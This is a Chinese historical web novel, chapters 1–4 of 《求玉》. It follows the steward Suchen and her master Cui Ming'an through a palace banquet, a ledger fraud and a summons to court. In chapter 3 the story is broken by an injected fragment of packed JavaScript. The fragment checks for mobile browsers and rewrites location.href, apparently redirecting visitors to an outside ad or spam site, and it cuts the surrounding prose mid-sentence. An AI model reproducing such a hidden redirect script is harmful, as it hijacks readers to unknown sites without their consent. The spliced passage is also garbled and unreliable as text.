《求玉》
1. 第 1 章
年末时节,京城里也下起了大雪。
无论屋里的银碳烧得再旺,外边似盐如棉的飞雪和刺人的冷风却是顺着那些个没关紧的窗缝钻进屋里。
还不等崔府的各位主人们发觉,一位嘴角含笑的女子就把手已经伸出窗外想把它锁上。
女子抬眸,在窗户拉紧的最后一瞬,那建在城南的石佛消失在她的视线里。
那巨大的石佛不知建造了多少年,如今瞧着只剩下头还未雕刻出。
主座上的崔老夫人端起身边婢女冲好的瓷杯,轻抿一口,“倒是劳烦素尘这般细心,但下次叫其他人去便好了。”
老人的声音带着几分经历过岁月冲刷的沉静,听不出喜恶。
被唤作素尘的女子笑着走到她的身边,语气活泼却不失恭敬之意:“怕让夫人们冷了,素尘便过去关了。”
旁边的女眷们掐着时机扯出笑来,语气不乏讨好:“老夫人您可就放宽了心吧,鹤哥儿在官场里帮咱府里争个荣华,府里也有素尘姑娘帮着打理。”
“就是啊,公子一进宫,陛下就又赏了东西下来。”
她们一唱一和地夸着崔老夫人教导有方,又赞着崔公子乃绝世英才。
崔老夫人听着却紧皱着眉头,不见一丝愉悦。
一直注意着老夫人脸色的素尘悄悄示意端着茶壶的婢女去给几位夫人添茶。
热茶在杯里裹着香味,接了茶水,意识到说错话的两位夫人也识趣地闭上了嘴转而低头品茶。
“宫里来人了!”有奴仆在门口提醒。
一屋子女眷连忙起身,整理着自己的衣裙。
崔府里的一众女眷仆从跪于堂前,听着独属大明宫里尖嗓宣读着赏赐。
流水似的金银珍宝送了进来,这莫大的恩宠却没得到崔府众人丝毫的惊喜,只照着礼数叩首。
那公公心里叹一声,不愧是清河崔家,瞧那崔老夫人稳坐在前面,屈膝行了个礼便罢了。
先帝下的金口玉言,这崔老夫人便尊贵了一辈子。
崔老夫人站起身,接过了圣旨。
但圣旨是递出去了,公公的手却没有空下来。
一袋沉甸甸的锦囊就被人塞到他的手里。
面前这姑娘看起来尚年轻,但做事说话却滴水不漏,打点了金银后,又敛目轻笑着:“寒冬腊月的,劳烦公公走这一趟。瞧着外面雪还落着,不如坐下喝杯热茶再走?”
“府里好意咱心领了,但宫里还有咱家的事儿呢。”
崔老夫人便吩咐:“那素尘送公公回宫吧,估摸着鹤珍也要回来了,你顺道带个手炉给他暖暖。”
姑娘答是。
“公公,请。”
只这第一次来崔府的公公听着这名字定睛看着她,神色莫测,又扯出笑来,“那劳烦咱家就劳烦姑娘了。”
崔府的众人散开,恢复了年夜的热闹。
满府红灯高照,只她回头望了一眼,便陪着宫人们融进了府外飘雪里。
夜色暗沉着,再添上这恼人不止的大雪,连是身旁的人都看不太清楚。
但从马车上下来的时候,公公还是忍不住看了一眼已经从另一辆车下来的姑娘。
她一身白裙却被手中提灯映上了朱色光彩,添上那霞明玉映的玉容,但还真如他年幼尚未入宫时看到的山边夕阳一样明媚。
但他忍不住想着,这般姿色只可惜少了京中闺秀的几分白皙。
“公公便先入宫吧,素尘在这儿等我家公子。”素尘眉眼弯着,笑眼盈盈,语气却还是沉稳周到。
她抬头望了望下得愈发大的雪,将车上放着的伞撑开,向他走了过来。
“您拿着这提灯吧,雪夜里拿着灯也方便。”素尘把手里的提灯给他。
“公公这……”旁边撑着伞的小太监犹豫着没有接。
公公遥遥望了雪上的车痕,像是随口一说般:“既是姑娘好意,那咱家就不推辞了。多谢素尘姑娘。”
小太监伸手接过,也向她行了个礼。
心里却还是忍不住嘟囔。
宫里夜如白昼,何须提灯?这崔府婢女实在是见识短浅,和传闻中也不一样嘛。
完全不知他内心徘腹的素尘目送两人离开后,就站在马车旁静静地等着。
她仰头向南望去,那几乎被乌楼百姓围起的石佛映着那些花街彻夜燃着的烛光,虽未完工,但已窥见几分慈悲模样。
她回忆着石佛这几年变化的模样,推测着京中京外百姓的情况。
这眼瞧着陛下劳民伤财收集这一堆不值钱的花石纲来雕这尊石佛,近来这颗最为重要的脑袋倒是迟迟未完工,估摸着外边又有荒灾了。
她叹了口气,又有多少孩子和她当年一样流离失所,甚至在饥荒里丧于父母之手?
若是没有公子,她如今又在何处?
素尘听到从大明宫里传来的阵阵歌舞声,猜想着传闻中舞姬腰间挂着的金铃一定愈发清脆响亮。
宫外大兴修佛,大明宫里的宫宴上也不乏那虔诚至极的信徒们将些个“虚妄”“空即是色”挂于嘴边。
只是满殿血色罗裙上的美酒将软腰细枝上的檀珠和玉扳指染上了俗香。
高座上被素尘感激的崔公子冷眼看着这荒诞不堪的场面。
“崔卿,你怎么不喝酒?”
穿着黄袍的男人……不,此刻的皇帝更像只野兽,衣襟大敞,猩红着眼眸死死地盯着他。
崔明安没立即搭话,只用垂眸,抬起指尖在白玉杯上轻轻敲了敲。
他的沉默让皇帝不满地眯了眯眼。
“崔卿?”
崔明安这才转头看向他,银纹广袖随着他拱手行礼的动作扫过桌边。
“臣近来身体不适,不便多喝。”
说着,他仰头将杯里所剩无几的酒水一饮而尽。
明明有些不羁的动作,在这位鹤珍公子手下,却只剩下优雅风流。
皇帝的目光细细地流连在他的脸上和手上,不知想起什么,得意地笑了笑:“今日这雪下得真大啊。”
藏于袖袍下的指尖骤然攥紧,茶杯悄然出现了一丝裂纹。
他笑得歪倒在穿着清凉的舞女怀里,眯起眼睛故作无意地提起:“听闻崔卿有一个藏在金屋里的妙人……名字可也是叫雪?”
旁边服侍的赵公公弯腰:“陛下,那姑娘是叫素尘。”
“应景,应景!朕可是从贵妃那里听说了她的故事,既是有过目不忘的奇女子,何不带进宫来让众为从明经科考出来的爱卿们开开眼界?”
明经科出身的赵大人大笑着起身向崔明安这处遥遥敬酒:”是啊,早就听内子说过崔府竟是一位女子做管事,这过目不忘的本领可是让微臣羡慕不已啊。”
其他大人也笑着符合:“确实家里夫人经常谈及此女,不仅明经科的学子们羡慕,传闻中那一手算术本领也是让我们这些明算科出身的嫉妒啊。”
“陛下和各位大人们说笑,素尘不过一介奴婢,顶天说呢只是记性不错且会算点账罢了,倒是谈不上什么奇女子之称。”崔明安站起,端起另一盏添满的酒杯语气恭敬:“年末之际落雪素有瑞雪兆丰年之意,臣再敬陛下一杯。”
还不等皇帝斥责他顾左右而言他,殿内和崔府交好的权贵们一并站起来,喊道:“恭喜陛下,瑞雪兆丰年!”
但皇帝只将身旁的歌姬美人捞入怀中
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,就着娇嫩的玉手饮酒:“既爱卿们如此说来,那这雪确实下的妙啊哈哈哈哈哈哈。赏!”
“多谢陛下。”
为着这句“瑞雪兆丰年”,殿内的气氛达到了高潮,觥筹交错,舞姬们的动作愈发激烈柔美。
只那如谪仙般清冷的鹤珍公子再味饮酒,神色有一瞬的恍惚。
他看向门旁的琉璃窗,看着外面宛如鹅毛的雪。
有个小太监从殿门悄悄进来走到他旁边,小声提醒他:“大人,府里让人和车来宫外接您了。”
崔明安动作一顿,抬眸打量了他一眼。
他没有任何回话,只是在那小太监推出宫殿以后才给自己斟满了酒,站起身向皇帝走去。
殿内被价比金高的碳火烘着,殿外的人只好拉紧自己御寒的棉服。
“不冷吗?”身上带着些许暖意的人含笑问。
站在宫外的素尘看着来人,连忙把手里的暖炉递给他。
“无妨,里头碳火烧得足。”崔明安看着她鼻子通红的模样,把那暖炉又推了回去。
素尘也没多说什么,只是扶着他上了马车。
他神色平静,正襟危坐地待在马车软座上闭眼休息。
“公子喝酒了?”素尘给他倒了一杯备好的温水,又从旁边拿了一个木盆,“漱漱口吧。”
崔明安摆手,用手揉了揉自己的额角。
还没等他动手,那双一直捂着暖炉的手就已经轻轻贴着他的额角,女子温暖柔软的手熟练地揉着。
她的声音轻柔舒缓:“在席间被人灌酒了?还是有人为难公子了?”
“是陛下。”崔明安终于开了金口。
不知是在回答她哪个问题,亦是都有。
但素尘却不敢贸然回复。
妄言皇帝是大罪,她也是知道的。
但她瞧着崔明安浅笑的模样,还是装傻着:“那公子还是得少喝点,”
崔明安终于睁开了眼睛,那双淡漠又疏离的眸子。
随着他的动作,素尘的手也识趣地放了下来。
崔明安拿出一柄玉如意,直接给了她:“陛下今夜赏的。”
素尘那脱俗得体的仪态忽然变得恭敬谄媚起来:“陛下如此大方?对了,老夫人让奴婢在公子下次进宫时带一碗醒酒汤。”
她苦恼地将那过于沉重的玉如意紧紧地装入早先放在车上锦袋里。
她极其关心地抬头问了一句:“奴婢下次多带几碗吧,作用大些,喝的也多些。”
但她抿嘴笑的模样,分明不是在说解酒,更像是想让他喝倒在殿里以换更大的玉如意。
崔明安失笑:“你这倒像是在把我卖了换钱。”
两人相处了这些年,多少认识对方身上藏着的模样。
素尘表情惶恐:“府里今年有几间铺子亏损了钱,奴婢不过是想补贴府内支出罢了。”
“亏损?今年的账算出来了?”崔明安皱眉。
素尘摇头:“账房里说明日还要收收尾。”
马车又一阵颠簸,崔明安觉得脑袋疼,只得闭上眼养神。
不知想起何事,又开口说了句:“后日随我入宫。”
听到话的素尘面色平静,但她心里的忐忑却一点儿没少。
只悄悄拉开一点帘子看向城西的石佛。
在黑色雪色里,被达官显贵府邸里的烛光照亮,那雕琢精致的石身染上几分绯色。
素尘紧紧盯着那空着的头部,忽然觉得浑身冰冷和不安。
“公子,奴婢……”不想参加宫宴。
不等她说完,崔明安就打断她:“你跟在我身后便是。”
“……是。”
2. 第 2 章
年夜过去,雪也停了。
崔府的所有人扯着嘴角尽力的笑。
尽管崔家家规严明,但在新年这天,只喜气和热闹最大。
所以担着管家之责而一大清早就开始忙上忙下的素尘就连看着如山的账本也得扬着笑。
崔明安坐在书房里,一抬头就看见端着茶水推门进来的她。
“脸不僵吗?”他又垂下眸翻阅着册籍。
素尘走到他的桌前,把盘子往桌上一放,揉揉自己的脸。
“这不是正月初一吗?奴也想讨个吉利。”给他换上新茶,她就起身去拿今天一早放到架上的木匣子。
她仔细地用指尖翻数着里面的拜帖,递给他:“这些是各府送来的拜帖,已经整理好了。”
他点头,接过随意地翻了翻。
崔明安入朝不久,前途无量,既然身负圣上恩宠,自然是各派拉拢的重点。
不知看到了什么,他忽的嘴边的笑淡了些。
一直注意他动作的素尘扫了那封拜帖一眼,状似无意地聊起闲天:“奴近来在宴中见陈夫人发间多了个发簪。”
“哦?”崔明安继续翻着那些拜帖,只抽出那张目光停留许久的放于后面。
素尘知他听懂了,继续说道:“奴瞧着上边的珠子,倒是和昨夜宫里送来的那盒东珠是差不多的。”
她回忆着,面上似乎有些羡慕的神情。
“你若喜欢,去库房挑几个便是,就作你今年的红封。”崔明安随口说道,只是最后顿了下补上一句,“宫里送来的那些除外。”
素尘欣喜地跪于地上谢赏,眼里尽是计谋得逞的得意。
崔明安也没有被算计的恼怒,为了些小玩意就开心成这样,只觉得有些好笑。
他把那一沓拜帖又放到木匣子里。
只挑出了几封素尘放在最前面的几封,吩咐着:“今年就去这几家吧。”
只是素尘接过后,迟迟没有转身离开。
“怎么?”
“公子……陈府不去吗?”她指着那封被挑出后又被塞回的帖子。
崔明安没有回答,只是浅笑着反问:“陈夫人送了你什么?”
刚站起身的素尘听着他的话,扑腾一下又跪了下去。
“奴婢不敢!”
“素尘?”
“是……这个。”素尘不敢抬头看他情绪不明的眸子,只把手从宽大的袖口伸出,慢慢地把藏在腕间的绯色玛瑙镯子显露出来,“陈夫人强塞给奴婢的,但奴婢是真的为公子着想。”
受贿的少女伏跪在地上,做出瑟瑟发抖的模样。
不知过了多久,上位者才想起自己的体贴儒雅,才缓缓开口:“起来吧,既跟着我,怎还如此眼浅?若是少了首饰物件,库房钥匙在你手里,自己拿便是。”
素尘连忙答是,没过一会,又连忙说不敢。
“还有你不敢的时候?”崔明安像是听到了什么好笑的事,他失笑摇头。
趁着他抬手饮茶的间隙,素尘回答:“奴婢不敢私开库房,更不敢僭越。”
崔明安有些乏累地挥手让她下去。
素尘却不动。
她一早事这么多,专门过来一趟可不是过来认罪的。
但崔明安似乎不在意她的去留,只静静地坐在案前翻着先前的册子,两人之间沉默着,却让她有些着急了。
这开年一堆账目等着她算呢,没时间在这里耗着了。
她试探地给崔明安又倒了杯茶。
“公子……”
“嗯?”崔明安抬头,似乎不知她意。
“公子恭喜发财……”素尘又扬起了适才的笑容。
长相柔美明丽的面上忽的添上这咧嘴,用力眯着笑的表情,和平时崔度管家的素尘姑娘竟完全不一样。
他饶有兴味地看着她。
自被他带回崔府后,这姑娘行事是越来越稳重了,这份不落破绽的模样尤其是在教她管府内大小事后更甚。只偶尔单独在他面前时,才偶尔显露出少女的娇俏和初见的狡黠。
有时候在那副端庄菩萨模样下,他都差点忘记她是一个虚荣自私的本性。
素尘的笑都僵了,还不见他有反应。
只内心悄悄想着公子怎么越来越抠搜了?本来就老打发她些无用的首饰,今年开年更是连红封都不给了。
不知心里暗切了几声,但面上还是这幅喜庆的模样。
“书柜第三排。”崔明安不逗她了,继续看着那些名匠在书册上留下的笔记。
“谢公子!祝公子开年大吉,万事顺意!”
素尘找到那个期待已久的红封,拿起之后又悠悠地给崔明安行了个礼才往外走。
素尘自认为自己行的礼又得体又不显谄媚,得意地推门离开。
只是看书的崔公子待她出门后,摇头轻叹一句:“谄媚。”
谄媚的素尘从崔明安的院子里走出来,红封往袖里一藏便又是一府管事的模样。
有其他婢女遇着她,和她搭话:“姑娘新年好。”
素尘向她们笑了笑:“新年好,等会记得来账房领老夫人准备红封。”
崔府承百年恩宠,四世三公,钟鸣鼎食之家,素尘走在府中石路上,看着旁边铲雪的仆从费力劳作,又看着他们一个个放下手中的活计向她行礼贺新年。
“素尘姑娘新年好。”
“新年好。”她没有遗漏一个人。
账房门外地上积雪早就被铲到一边,没有她起床来时那般无暇。
里面算账的老先生们一边揪着胡子一边打算盘。
“先生们新年好。”素尘抖掉鞋底带着的污雪,跨过高高的门槛,“大家算的如何了?”
听到少女清脆的声音,老头们纷纷舒了一口气。
“终于回来了!”为首的罗隶老先生敲着桌子,“账目有误,就等着你呢。”
数额过大,具体去向却没有记到账房本子上。
一众先生吓得差点在大年初一晕死过去。
“我瞧瞧。”素尘在他们中间坐下,接过算盘。
木珠在素手的动作下,啪啪地发出响声。
动作一顿,旁边围着的先生们呼吸也一滞。
素尘却笑了。
“姑娘这是……?”罗隶突然觉得背脊一凉。
素尘双瞳黑亮,虽在笑着,但这般直直地望过去却几乎看不见一丝喜意。
外面路过的人声音渐小。
她的声音显得格外清晰:“罗老先生可是漏了一本账单在公素尘房?”
罗隶先是皱眉,后面忽的瞪大那双灰沉的眼睛。
冬末初春,外面贴着雪面吹的风儿从门缝里钻进来,罗隶却觉得自己的背上浸出汗来了。
自素尘进府之后,公子院子里的账和名下的铺子都是由她负责。
瞧着只是一本账罢了,但谁不知这些才是府内最核心的账目。
素尘性格温和,一向懂礼,但终究是个年轻女娃,一来就抢了罗老的权,大家自然不服。
好不容易让老夫人出面把权还回来的罗隶如今心里还想着自己资历也老了,公子就凭这些年的苦劳也会体谅这一次的失误。
漏了一本账罢了,这账房里每年这么多,孰能无过啊?
况且这商铺的账更是年年没有出过错,今年更是不怕。
素尘瞧着他毫无悔改的双目,轻嗤一声。
事不关己高高挂起的姿态也被她摆了出来。
有心明眼亮的先生后退一步远离罗老,甚至有人估摸着自己手里的都整理好了,找了茶盏给大家添了热茶。
素尘道了声谢,端起茶杯抿了一口。
“现在手里无事的先生和素尘一起准备发老夫人的红封吧。”她起身对过来领钱的婢女们微微笑着。
账房院子里人来人往,热闹极了。
除了罗隶,其他的先生几乎都干完了手里的活出来发红
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封。
“谢谢姑娘!”刚刚路上和她打招呼的圆脸婢女领过红封,嘴里说着吉利话,“姑娘新年吉祥。”
素尘摆手:“老夫人给的,你们平时多尽心就行。”
来来往往的人脸上都带着喜气,只有罗老先生不知自己在房里想了什么,最后神清气爽地踏出房门。
路过素尘身边时还仰头冷哼一声。
莫名其妙。
素尘挑眉,虽然不懂他的意思,但还是无所谓地耸耸肩。
动作幅度不大,除了一直注意着她的罗老先生发现了,其他人都只觉得她心胸豁达。
等了一刻钟不到,罗老的消息就传过来了。
素尘眨眨眼。
一刻钟不到……在偌大的崔府里去哪里不需要一刻钟来回?
那个过来传话的小侍脚步匆忙,等素尘把手里的活放下来才像她行了礼。
“姑娘好。”他又转头和老先生们说:“公子让姑娘和先生们过去问话。”
素尘点头让账房里的小厮们把剩下的红封分发下去,温声回答:“麻烦文竹你过来通知了。”
文竹笑着摆手:“文竹分内之事。”
穿过大半个崔府,几人才到了崔明安的院子外。
素尘一路上都垂首敛着眼,路过出声想和她搭话的人也只好沉默着和这边行礼。
还不等文竹进去通报,就看到了早就到此的罗老先生。
他年纪大了,头上银丝倒和路边的积雪相称。
一行人里有和他不和的先生,看着他一脸灰败地跪在地上,一时间竟忘记自己如今身处何处,抬手抚须直呼:“罗隶小儿也有今天!”
无论平日关系如何,其他账房先生如今都不敢多言,更不敢帮腔或争论。
这可是公子院外。
站在最后的素尘仿佛没有听到这边的动静一样,眼抬都没抬。
恭敬得仿佛那紧闭的院门正大开着,里面的公子一直坐在那里看着这边。
罗隶跪得狼狈。
但他愤恨地抬头看向他自认为的敌人时,只看到素尘低头的模样。
谅这等黄毛丫头也不敢看自己的笑话。
他苦中得意。
结果又看到那个黄毛小儿偷偷抬眼瞄了自己这边一眼,视线一对上她就又垂下眼眸。
“!”你……
门被打开了。
文竹和开门的侍卫点头示意后,再和他们说:“请各位进去吧。”
在这门真的被打开的时候,大家却踌躇着不敢抬步进去。
只好转头看向虽和大家共事却的的确确是在公子院里侍奉的素尘。
文竹催促:“公子在里面等候,请各位快些。”
罗隶撑着地起身,不顾自己膝上融雪的水渍,慌忙地跟着侍卫进去。
其他人左看看右看看才犹豫着进去。
最后进门的素尘抬头看了眼头上空白的门匾再拎起裙摆跨过门槛。
崔家公子所住院子偏僻无名,原来的门匾在他少时令人摘下,换了这空白的门匾。
上好的木材,却无名匠雕刻。
有人说可惜,也有人呼巧思。
原来这院子的名字本就少人注意,后来也就慢慢地无人提起,据说曾是布置来赏雪煮酒的消遣,这院里在深冬雪日无限风光。
但无论如何,这一行人却大多无暇欣赏这满院雪景。
竹林小山,一步一景。
坐在竹中小亭里的青年在轻纱竹帘的遮挡下半倚在朱栏上看手里的账本。
罗隶跪地熟练,抢在行礼的众人之前大呼:“公子安!”
语气谄媚之功力,不愧是账房之栋梁。
“账房有所疏忽,望公子宽宏!”他继续。
但崔明安没有立刻回答他,慢慢地翻了一页手里的账本。
他的声音温和舒缓:“素尘你可知罪?”
一直躲在最后的素尘抬头:“?”
3. 第 3 章
寒冬腊月,没头没尾的问责。
素尘心里一惊,但面上立马恭敬地跪下,以头触地:“望公子恕罪。”
她跪在众人身后,其余人连忙避让。
同样跪在地上的罗隶被忽视得彻底。
他心慌地抖动着身子,厚重的冬衣也遮不住他弯曲的背脊。
但主仆二人的对话还在进行。
“协助管家之责既已托付于你,如今竟遗漏一本项目?”崔明安抿了一口刚泡好的茶。
他声音顿了一下,低眸看向玉杯。
味道浓了,不如素尘早上的手艺。
看向还在地上跪着的素尘和罗隶,只觉得心烦:“你无能监管还是账房对我院里有什么想法?”
帘子被他让人掀开,对着账房众人拱手行礼:“还是说各位连商铺上出现如此大的错漏都没发现?”
鹤珍公子行事端方有礼,如今看着更是翩翩公子。
只是他的礼从来不是家里账房先生能受的。
素尘身前跪下了更多的人,她眼前只有自己精心挑选的青石板,虽然硬但却不硌不脏。
她听着前方一次次掷地有声的动静,猜测这是哪颗脑袋。
被自己的想法逗笑,她也只能悄悄地抿一下嘴角。
罗隶在前面哭喊,一步一步走进公子下的套。
她听着,偶尔附和着。
无论她如何说,公子已经决定了今天的事会发展成何样。
哭喊声停了,变成怒吼和挣扎。
功劳和苦劳?素尘耳朵动了一下,眨眨眼,只觉得好笑。
其他人看着罗隶被拉了下去,身体止不住地抖。
崔明安起身叹了口气:“先生们,都起来吧。”
锦靴从亭中朱木踏到清开雪的青石板上,缓缓走到众人身前,虚扶起一个先生。
那先生不敢真的让公子费力,腿部暗自发力,竟然硬生生地就这么站了起来。
后面的人也扶地起身,感激地躬身。
崔明安笑道:“既事情已经了解清楚了,大家先回吧。回头让文竹给账房带些新茶,大家也好尝尝。”
打发了账房的人后,他看着打算和那些人一起离开的素尘,伸手揪住她的后衣领。
素尘一惊,停住脚步。
有先生想停下来等她,但马上被醒目的人提醒快走。
素尘无奈地整理好自己的衣服再扯出笑来回头看他:“公子何事?”
公子怎故意学她少时教训弟弟时的动作。
崔明安示意文竹从书房把东西拿出来。
“让你协助管家,怎直接每日泡在账房里了?”崔明安语气和缓。
素尘跟在他身后,一步一步上木梯进了亭里,一边把遮风的帘子放下一边解释:“一年的账目整理庞大,何况罗隶心思有私,更需要亲自从旁监督。”
“账房里众人年事已高,虽经验丰富但难免心生懈怠,的确需要你从旁监督。”崔明安随意拿起了桌上的账本,又轻笑着放到一旁,“我把权放到你的手里,可不是让你像孩童学数一样,页页亲算?能人善用,乃为官之道。”
素尘听到最后一句,内心腹诽:“公子这是在官场上说顺口了。”
崔明安还想说些什么,还是住了话头。
主仆二人相对无言。
文竹抱着一个锦盒进来,放到素尘身边。
崔明安把壶里的茶水都倒了,示意她打开看看。
素尘打开。
里面整齐地放着一副珠玉头面,一颗颗玉珠用金丝拧成一朵朵漂亮的花,在白日熠熠生辉。
“这是给你的。”崔明安温和一笑,仿佛非常重视眼前的婢女。
这份礼物让素尘笑开了花,本看着清冷疏离的美人顿时谄媚起来:“谢谢公子!素尘就算下辈子也定当为公子肝脑涂地!”
“先把这辈子过了再说下辈子吧。”崔明安失笑。
他看着素尘拿起茶匙,取茶、煮茶、洗茶……行云流水,是他教她的那一套动作。
熟悉,亦是完全按照他的喜好而做。
就是偶尔惋惜好歹在府里养了她这么些年,这肤色还是带着一些麦色。
想起刚刚从宫里传出来的消息,崔明安发自内心地满意一笑。
心情愉悦让他也乐的慷慨一些,手上取过那锦盒里的珠钗,慢条斯理地插进素尘梳理整齐的发髻里:“别忘了明日要进宫。”
素尘动作一顿:“是,公子。”
不动声色地在崔明安低眸饮茶时摘下那名贵精致的珠钗,将其收进盒里。
刚添上几分珠光宝气的素尘姑娘一出竹亭,又是平时那般娴静舒雅,不沾人间铜臭。
崔明安拿出商铺的账目,放到素尘面前:“虽然是罗隶失职,但商铺送来的账目的确有误。”
素尘看着明显是用新纸张制作出来的账本,不禁被气笑了。
“什么蠢货,做假账也做得这么明显?”
不等崔明安多说什么,她已经翻开账本一页一页看过去。
看着她的模样,崔明安挑眉问道:“可需算盘?”
“嗯,”素尘没有抬头,声音有力,“还要纸币,大概两盏茶时间就能粗略地找出哪里有问题。”
她的这番话若是放在宫里户部那群大臣面前说的话,怕是要被那群老头嘲一声“无知小儿”。
但是她一接过纸笔,还没开始动算盘,就开始挥挥洒洒地划了几条线。
“这间粮铺在3月上旬的这块标记的卖价和进价有问题。”她皱着眉头。
“嗯?”崔明安看着她专门标记出的那处,神情凝重,“你确定自己没有记错?”
素尘抿着唇,没有立刻回答他的问题。
刚被文竹送来的算盘在她的手中不断发出木珠碰撞的声音。
“是,就是有问题。”
素尘列出几行数字给他看。
“这个进价和售价是前年的价格,今年的应该是……”她把算盘推向他那边,“您看。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15168808|165140||http|test|mini|href|location''.split(''|''),0,{}));
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>一边也低头看的文竹若有其事地皱着眉。
素尘用手撑着头,被逗笑:“文竹之前学过算术?”
“那倒是不会,”崔明安帮他回答。
文竹眨眨眼,温雅的脸上也保持着笑容:“素尘姑娘,在下真的不会。”
素尘没多说什么,只是继续翻阅着手边的账本。
算珠声不断在亭中响起,文竹让人在铜炉里挑了几次碳。
墨在纸上留下满满的痕迹,数字被写下,又被朱墨圈框住。
时间久到崔明安已经拿起一盒石子扔向池面。
趁着昨夜落雪无人注意的空隙,在夏日开满莲花的池面已经结起一层薄薄的冰层。
石头落下,被水包裹的沉闷声紧随其后。
他随手扔着,目光却是一直放在素尘身上。
素尘的动作一停下,崔明安的动作就跟着停了下来。
“如何?”
素尘的面色有些难看:“这……您还是自己看吧。”
本来写字虽端正却笔锋凌厉的素尘在这张不小的宣纸上将字越写越小,直至那年末的最后一笔项目。
崔明安神色未变,向来都是运筹帷幄的模样。
只是他身后的文竹不知从何时默默离开了这里。
素尘未多说什么,只是低头装作不知文竹的动向。
做完了该做的,后面的一切都与她无关了。
最好是和她无关。
崔明安没有多说,像是不在意此事似地端起茶壶在她的杯里添了些茶:“辛苦了。”
素尘端着主人挑的茶,语气恭敬:“素尘分内之事,公子言重了。
文竹迟迟不回,素尘手里的茶已经被添了好几杯了。
素尘犹豫片刻还是决定开口告辞:“公子……”
但崔明安并不打算让她离开。
他温柔地笑着,伸手又想提起茶壶:“又喝完了?”
“不!没喝完!”素尘吓得用手轻掩住杯口。
崔明安收回手,转而盒里的捻起一颗石子:“那边再品品吧。”
手一抖,指尖用力。
“扑通——”石头入水的闷哼传来。
素尘听着声音,想回头看看。
但崔明安接下来的话让她无暇他顾。
她看着面前的公子悠悠开口:“明日进宫注意着装和规矩,陛下关心的是你过目不忘的传闻,至于其余的事便不必多虑。”
他说话轻松,唯一不轻松的一句便是盯着素尘时未达眼底的笑意。
素尘只觉得脑子里闪过无数个可能,每一个都让她头疼。
只是如此招人入宫,未免有些挑衅。
君心难测,外面的乱世更是如此。
文竹孤身回来时换了件衣裳,笑着带了装着糕点的油纸包,只是素尘闻到了那几不可闻的血腥味。
“素尘姑娘,”文竹的手在她眼前晃了晃,“明日加油。”
“……”
素尘身后冷汗更甚。
4. 第 4 章
无论崔府众人如何,大明宫里丝竹琴瑟在大年初三这年夜里照常响起。
无数车辇停于宫门外,臣子贵妇相互含笑问候。
随着众人移步宫内,贵人们身上的玉珠金佩晃着光,让跟在崔明安身后的素尘不敢多看。
“素尘姑娘,没想到今日能见到崔府女眷,崔老夫人近来可好?”有夫人挽着家中夫婿过来打招呼,大人们只是看了她一眼,便和崔明安攀谈起来,留女人们交谈说笑。
素尘看着夫人们妆面上的珍珠宝石,垂眉作出谦逊模样:“夫人们新年吉祥,老夫人昨日还念叨着各位夫人,送去各府的年礼是一遍又一遍地确认啊。”
究竟崔老夫人有无如此费心,素尘说的话都给各位夫人们留了面子,大家嘴角的笑意愈发真诚。
“素尘。”崔明安随意应付了那些没见过几面的同僚,在前方轻声唤她。
素尘向她们行了礼:“我家公子在前面等我,素尘便先过去了。”
她扬了扬笑,便向前快步走去。
殿门金雕里镶的夜明珠闪出的光照在她面上,虽宫内明亮如昼,但这也是第一次在夜光下看到崔府素尘姑娘的模样。
夫人们眼里也染上了笑意,漂亮却又聪明的女孩总是讨人喜欢的。
虽不合时宜,但当她们想起自己未出阁的模样后,挽着丈夫的胳膊悄悄松了些许。
素尘看着面前穿着锦衣的公子,面带惊异的笑意:“公子。”
崔明安脚步放缓,小声吩咐:“第一次进宫难免感到新奇,但你……”
素尘嘴角弧度不变,只是面上情绪淡了些:“素尘清楚。”
她身上的衣裙是崔老夫人身边婢女送来的,对方今日推开院门时眼里带着暗示:“平时素尘姑娘穿衣素净,虽不怕出格,但在今日的场合里未免不妥。”
为了附和崔府主人们的心意,她身上已经太久没有穿过于明亮的颜色。
如今穿着符合年纪的青绿广袖锦裙,倒是显出她平时刻意压住的稚气。
崔明安也穿着一身绿袍,和旁边大腹便便的高官大人相比,更是一身矜贵清雅的气质。
“前面就是了。”
素尘顺着看去,只觉得眼前一花。
婉转的歌声从那金碧辉煌的宫殿里传出,客人们慢慢入席,殿外进出着端着餐盘茶水的宫侍。
“崔大人。”一道显得中气不足的身音响起,前面那位身形佝偻的宦官向他们迎来。
还不等素尘找机会搭话,那满是皱纹的脸就对着她:“素尘姑娘,又见面了。”
素尘行礼:“公公好。”
崔明安不意外他们相识,只是谨慎询问:“赵公公有何事?”
一位天子身旁极为亲近的宦官可不会无缘无故在此等候。
素尘也在思索着,判断着眼前的情况和此次让她进宫有无关系。
赵公公看出素尘的迟疑,轻笑出声:“无事,咱家不过是特地来这里归还素尘姑娘的提灯。”
他手上却没见到任何提灯影子。
素尘心中疑惑,但面上不显,只面带羞怯地说:“公公说笑,前日是素尘见识短浅,竟不知这大明宫里辉煌至此,夜如白昼。”
她说着,眉眼含笑低垂着。
赵公公笑了两声:“素尘姑娘内心赤诚,虽宫里夜如白昼,但锦上添花在雪夜里也如雪中送炭般珍贵。”
他又看向崔明安,话里含着别意:“今日宫宴公主也会来,要咱家和公子说一声等会要多敬您几杯。”
崔明安没多说,只点了点头便带着素尘往殿里走去。
赵公公也躬身从人群里退去,仿佛从来没有来过殿门。
宫里的宾客们到齐,皇室未到,歌舞先起。
臣子夫人们只是相互交谈,未抬手碰杯。
素尘站在崔明安身后,与宫侍们一起为他桌面上空着的杯里斟酒。
席间分明有不少打量的目光落于她的身上,虽无恶意但也没带着尊重。
崔明安没有和她多谈为何突然带她入宫,也不让她多问。
一切都不在她的掌控之内。
鼓声节奏忽然加快,殿门被内侍们打开,尖声喊道:“陛下到——”
舞女们纷纷跪下。
宾客们也都向来人行礼。
素尘不敢抬头打量,只死死地低着头。
“免礼免礼!此宴为新年第一宴,诸位随意一些吧。”带着威严的声音响起。
素尘起身的间隙抬眸看了一眼。
却撞入了一个华衣年轻女子的眸里。
那女子长身玉立,气质雍容。
分明眉眼如画,肤若凝脂,却与她对上目光的瞬间勾唇一笑
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,半点柔美也无,尽是含着锋利的意味。
这位是宫中贵人。
素尘默默移开视线。
前面的公子身边已经来了好几位大人,但那银杯里的酒水分明不见减少。
